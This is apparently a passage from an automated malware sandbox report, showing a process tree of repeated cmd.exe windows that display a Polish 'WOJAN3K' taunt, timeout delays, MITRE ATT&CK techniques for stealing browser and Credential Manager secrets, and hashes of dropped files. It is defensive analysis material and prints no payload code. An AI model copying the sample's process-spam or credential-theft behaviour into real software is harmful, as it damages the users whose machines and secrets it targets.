      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7696
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7756
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7808
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7860
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7908
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7968
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8020
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8080
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8136
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7172
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3144
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6020
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1740
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3840
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2708
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3096
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4476
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6624
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6716
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6848
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5836
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3992
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5868
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1316
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5080
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7136
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6884
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1248
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3436
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8248
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8300
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8352
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8416
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8468
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8528
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8580
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8648
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8700
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8808
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8860
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8912
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8964
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:9020
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:9076
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:9128
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:9184
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8260
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6156
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8480
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:8592
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5620
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6596
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2228
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:4568
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5600
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:3360
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:6052
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:1476
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:3548
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:972
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:1544
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:4600
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:680
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:6108
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:3820
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5464
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:5280

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8191.bat

Path C:\Users\Admin\AppData\Local\Temp\817F.tmp\8190.tmp\8191.bat
Size 1KB
SHA256 c28fede4f8cbf9c24b4c6cf668e51b441fd8e21a9c5500aa1b7cabf2e5b5b6be
MD5 8c8ff2f35bdc02d0ce482e6d44e9586d
SHA1 3713afdbc9954848a57d33125ad58592e8263888
SHA512 9e3e6e790da80c07f1b01b21e1e1ae85012588702679dd098ce670c0de4c60c06dcacd1f590f6122b5e6653c0269274cb17719e40808879791f14d2625296879
TLSH
T17C3164013AAD8C11E8DA4C51C4B337E8F442E56BDC4E6DDDB0A624A6B82F5C0D22DBCC
MD5 SHA1 SHA512 TLSH

Submit Download

RES88F2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES88F2.tmp
Size 1KB
SHA256 b9c0856283e8bc0558c99d1707d364760532671f511aced1ce7c74eead9a2768
MD5 07f145b10689dc44ca265f6772ef5f51
SHA1 c38fcbbc9315296104fcb089340c3f98e8318f94
SHA512 c374f3487eee507b55ae7e720585cee249d6dc64526c0e9bd306d635e2dbd387547d4d30bb2432f65e677760976f3074788246d69242bf9a48d855decd1015d1
TLSH
T14E21AB4593E84B1FF077473269F6172FA239FE94EF62935F854042282C92144EEE0EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_iejbfvhn.xmg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iejbfvhn.xmg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

renaqd4v.dll

Path C:\Users\Admin\AppData\Local\Temp\renaqd4v\renaqd4v.dll
Size 3KB
SHA256 502019220e563ff3bd92593f4f036c6004a38241c5067af9f58ba5fec8a58400
MD5 1d26fb8eb8cb093c97686d79590edd4a
SHA1 e51df7c8d657239a56112d93ced2f822e47ef5a7
SHA512 0bad9d79a0c740d316c842749d0f6064674e42825f2c2d8e0b2f167f2086f42b9745200f45111ff8bfbfc6cf2bc38cbf88db561caa4d91c5ede1bca655e3e22f
TLSH
T11851ED2BA7E8466BE0B70B316DF3431727B5F8909FB2535E49800218AC216644972BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCCCBC69BD3B634BA198A8234ED3FB154.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\renaqd4v\CSCCCBC69BD3B634BA198A8234ED3FB154.TMP
Size 652B
SHA256 ce2894cbc1695d7e29d5f856ea4241ee6367ad053c318adfdd99b1052e034dfe
MD5 21d487e363a6370e8f31cff2743fa9ea
SHA1 516093c86f17ede56b583e8ef07a19f6928e57cf
SHA512 9529659f8969da73f0724efa6ddcd07e773d371b96c3d505db25bf8a440db69542017c9e667cf4c4b1f839793ec13ce6322945625ce7404c9b6f8e2c60ec9ea3
TLSH
T1EEF05E4963F8520EF0F35B30BDF6436791A9BCA5DE3293ED144043192C646109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

renaqd4v.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\renaqd4v\renaqd4v.0.cs
Size 293B
SHA256 614dea694270dd9edccf66d6b7fa9cb921c828174865e54483ab5aa20cffc68b
MD5 ed2c2f5e8a1274a1fd1c7733906e8856
SHA1 8517436e25035726507f26198ec226579ad0012c
SHA512 e7fb9ed6ba940bf713288a6f8b9452757a1a05948b5521670f03f91668a53afd59d2ef6a219ef951ff68646485b25930487985ce9151f74f707c8d1b9b57af3a
TLSH
T122E0CD2476B69A151042491B4CA5E57DB727C11F85EF3619A99C0521CF4700D4076B55
MD5 SHA1 SHA512 TLSH

Submit Download

renaqd4v.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\renaqd4v\renaqd4v.cmdline
Size 369B
SHA256 1e9bd4a20d0b6583cfd4d24ea2d539a7ebf5c8fca9e766ada1224bad4fff4e54
MD5 55e036d4f69368abdde629685b941fdc
SHA1 027ee94555424ccb5eb4eead561658501b5bdcd6
SHA512 d098593989490a4cc35348bf0055da8f8465968365e6c5d3ea972b2b6ae859c1aa6d06d904b63b6c88c1bd975984a3cd009352ae3ebd6c94f8b9a1fe374043aa
TLSH
T138E0C63B436ECAFD11ED108B227AC4ACE27307832D823F8490608C0DE0270083BF2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3172-21-0x000001F60A8B0000-0x000001F60A8BC000-memory.dmp

Download

memory/3668-4-0x0000024F30150000-0x0000024F30172000-memory.dmp

Download

memory/3668-27-0x0000024F17D80000-0x0000024F17D88000-memory.dmp

Download

memory/3668-30-0x0000024F163D0000-0x0000024F163D8000-memory.dmp

Download

memory/3668-29-0x0000024F16380000-0x0000024F1638C000-memory.dmp

Download

memory/4696-24-0x0000029DF41F0000-0x0000029DF41F8000-memory.dmp

Download

memory/4696-25-0x0000029DF5D10000-0x0000029DF5D1C000-memory.dmp

Download

memory/4820-0-0x0000000002370000-0x0000000002484000-memory.dmp

Download

memory/4820-28-0x0000000002370000-0x0000000002484000-memory.dmp

Download

memory/4820-32-0x0000000002370000-0x0000000002484000-memory.dmp

Download